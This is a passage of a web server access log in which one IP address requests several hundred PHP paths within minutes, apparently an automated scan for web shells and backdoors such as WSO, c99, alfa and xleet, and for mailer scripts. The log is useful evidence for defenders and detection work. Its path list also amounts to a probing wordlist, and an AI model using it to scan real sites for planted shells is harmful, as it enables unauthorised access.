/FoxWSO.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:03 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:04 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:05 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:06 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:07 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:08 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:09 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:10 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:10 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:12 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:13 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:13 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:14 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:15 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:15 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:16 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:17 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:18 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:19 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:20 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:22 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:23 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:24 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:25 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:25 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:26 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:26 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:27 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:27 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:28 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:28 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:29 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:29 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:30 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:31 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:31 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:31 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:32 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:32 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:33 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:33 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:34 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:34 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:35 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:35 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:36 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:36 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:37 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:37 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:38 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:38 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:39 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:39 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:40 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:40 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:40 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:41 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:41 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:42 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:42 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:43 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:44 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:45 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:45 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:45 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:46 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:46 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:47 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:47 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:48 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:48 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:49 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:50 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:50 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:50 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:51 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:51 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:52 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:52 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:53 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:53 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:54 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:54 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:54 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:55 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:55 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:56 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:56 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:57 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:58 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:58 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:58 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:59 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:00 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:00 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:00 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:01 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:01 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:02 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:02 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:03 -0400] "GET /vuln.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:03 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:04 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:05 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:06 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:06 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:07 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:07 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:07 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:08 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:08 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:09 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:09 -0400] "GET /alexuse.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:10 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:10 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:10 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:11 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:11 -0400] "GET /alexusmailer2.0.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:12 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:12 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:13 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:13 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:13 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:14 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:14 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:15 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:15 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:16 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:16 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:17 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:17 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:18 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:18 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:19 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:19 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:20 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:20 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:21 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:21 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:22 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:22 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:24 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:24 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:25 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:25 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:26 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:26 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:27 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:27 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:28 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:29 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:31 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:32 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:33 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:34 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:35 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:36 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:36 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:37 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:38 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:38 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:39 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:40 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:40 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:41 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:41 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:42 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:42 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:43 -0400] "GET //wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:44 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:44 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:45 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:45 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:46 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:47 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:48 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:49 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:50 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:50 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:50 -0400] "GET //wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:51 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:51 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:52 -0400] "GET //modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:52 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:53 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:53 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:54 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:54 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:55 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:56 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:57 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:58 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:29:59 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:00 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:01 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:05 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:06 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:11 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:15 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:19 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:22 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:23 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:24 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:26 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:26 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:27 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:28 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:29 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:29 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:30 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:31 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:31 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:32 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:33 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:33 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:34 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:34 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:35 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:35 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:36 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:36 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:37 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:37 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:38 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:38 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:39 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:40 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:40 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:41 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:41 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:42 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:42 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:43 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:44 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:45 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:45 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 